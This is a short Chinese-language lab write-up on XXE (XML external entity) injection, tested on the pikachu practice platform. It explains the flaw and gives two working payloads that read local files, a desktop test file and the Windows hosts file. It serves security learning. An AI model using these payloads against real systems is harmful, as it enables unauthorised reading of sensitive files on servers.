0X00 漏洞介绍:
XXE全称(XML External Entity)即XML外部实体注入,漏洞是对非安全的外部实体数据进行处理时引发的安全问题。
XML是用于标记电子文件使其具有结构性的标记语言,可以用来标记数据,定于数据类型,是一种允许用户对自己的标记语言进行定于的源语言。XML文档结构包括XML声明,DTD文档类型定义,文档元素。
0X01 漏洞原理:
DTD里声明XML外部实体<!ENTITY 实体名称 SYSTEM “URL” >,url内容为一些敏感的本地文件路径或攻击链接或localhost:端口。
0X02 实验环境:
pikachu(漏洞练习平台)
nginx 1.15.11
php 5.2.17
libXML 2.7.8
0X03 实验效果:
输入‘hello world’被当做XML命令执行了,初步判断存在xxe漏洞,如下图:
在桌面新建1.txt,写入内容,如下图:
构造payload进行测试:
payload1: <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE name [ <!ENTITY xxe SYSTEM "file:///C:/Users/Administrator/Desktop/1.txt"> ]> <name>&xxe;</name>
这一段代码,其中xxe就是外部实体,我们可以通过这个参数来读取file:///C:/Users/Administrator/Desktop/1.txt的内容,因为我们web服务器在解析xml文档的过程中,实体xxe的值会直接被替换成file:///C:/Users/Administrator/Desktop/1.txt。关键字‘SYSTEM‘会告诉XML解析器,‘xxe‘的实体值将会从后面的URL获取,也就是我们所替换的file:///C:/Users/Administrator/Desktop/1.txt文件。
提交后,成功读取1.txt内容,如下图:
Payload2: <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE name [ <!ENTITY xxe SYSTEM "C:/Windows/System32/drivers/etc/hosts"> ]> <name>&xxe;</name>
提交后成功读取hosts文件,如下图: